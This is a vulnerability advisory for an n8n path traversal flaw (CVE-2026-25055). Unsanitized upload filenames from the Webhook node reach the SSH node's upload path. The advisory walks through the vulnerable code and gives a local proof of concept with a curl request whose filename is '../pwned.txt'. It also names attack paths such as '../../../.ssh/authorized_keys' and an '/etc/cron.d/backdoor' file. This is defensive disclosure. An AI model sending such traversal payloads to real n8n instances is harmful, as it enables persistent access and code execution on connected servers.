Back to Research
CVSS 7.7highCVE-2026-25055

CVE-2026-25055: n8n Arbitrary File Write on Remote Systems via SSH Node

Path traversal vulnerability in n8n's Webhook node allows attackers to write files to arbitrary locations on remote servers connected via SSH.

Gecko Security Team
Summarize with AI
ChatGPTPerplexityGeminiGrokClaude

Advisory


Description

A path traversal vulnerability in n8n's Webhook node allows attackers to write files to arbitrary locations on remote servers. The node accepts filenames from multipart uploads and Content-Disposition headers without sanitization. When workflows forward uploaded files to the SSH node, the unsanitized filename gets concatenated into the destination path, allowing ../ sequences to escape the target directory.

An attacker who can reach a Webhook endpoint that uploads files via SSH can write files anywhere on the remote server. Filenames like ../../../.ssh/authorized_keys or ../../../etc/cron.d/backdoor lead to RCE or persistent access on any system the n8n instance has credentials for.

Source - Sink Analysis

The vulnerability spans three components:

1. Entry Point - Webhook.node.ts: handleFormData() passes file.originalFilename directly to copyBinaryFile() without validation:

returnItem.binary![binaryPropertyName] = await context.nodeHelpers.copyBinaryFile(
    file.filepath,
    file.originalFilename ?? file.newFilename,
    file.mimetype,
);

handleBinaryData() does the same with the Content-Disposition header:

const fileName = req.contentDisposition?.filename ?? uuid();
const binaryData = await context.nodeHelpers.copyBinaryFile(
    binaryFile.path,
    fileName,
    req.contentType ?? 'application/octet-stream',
);

2. Storage - binary-helper-functions.ts: copyBinaryFile() stores the filename as-is:

if (fileName) {
    returnData.fileName = fileName;
}

3. Sink - Ssh.node.ts: The upload operation concatenates the path:

await ssh.putFile(
    binaryFile.path,
    `${parameterPath}${parameterPath.charAt(parameterPath.length - 1) === '/' ? '' : '/'}${fileName || binaryData.fileName}`,
);

With parameterPath set to /home/user/uploads/ and binaryData.fileName containing ../../../etc/cron.d/backdoor, the resolved path becomes /etc/cron.d/backdoor.

Proof of Concept

1. Start an SSH server:

docker run -d --name ssh-test -p 2222:2222 \
  -e USER_NAME=testuser \
  -e USER_PASSWORD=test123 \
  -e PASSWORD_ACCESS=true \
  linuxserver/openssh-server

2. Create the target directory:

ssh testuser@localhost -p 2222 "mkdir -p /tmp/uploads"
# password: test123

3. Start n8n:

npx n8n

4. Create the workflow in the n8n UI at http://localhost:5678:

  • Add a Webhook node (POST, path: test-upload) connected to an SSH node
  • SSH node settings: Resource: File, Operation: Upload, Input Binary Field: data, Target Directory: /tmp/uploads/
  • Create SSH credentials with host localhost, port 2222, user testuser, password test123
  • Activate the workflow

5. Send the malicious request:

echo "PWNED" > /tmp/testfile.txt
curl -X POST "http://localhost:5678/webhook/test-upload" \
  -F "data=@/tmp/testfile.txt;filename=../pwned.txt"

6. Confirm the file escaped:

ssh testuser@localhost -p 2222 "cat /tmp/pwned.txt"
# outputs "PWNED" - file landed in /tmp, not /tmp/uploads

Impact

Impact is highest on n8n Cloud and public self-hosted instances. Webhooks are designed to receive external traffic, and the URL only requires guessing a user-defined path like upload or files. No authentication is required by default.

n8n instances typically have SSH credentials to multiple servers for automation purposes. A single vulnerable workflow can compromise any server the instance can reach—deployment servers, databases, backup systems, CI/CD infrastructure.

Attackers can:

  • Write SSH authorized_keys for persistent access
  • Drop cron jobs or systemd services for code execution
  • Overwrite application configs to inject backdoors
  • Compromise any system the n8n instance has SSH credentials for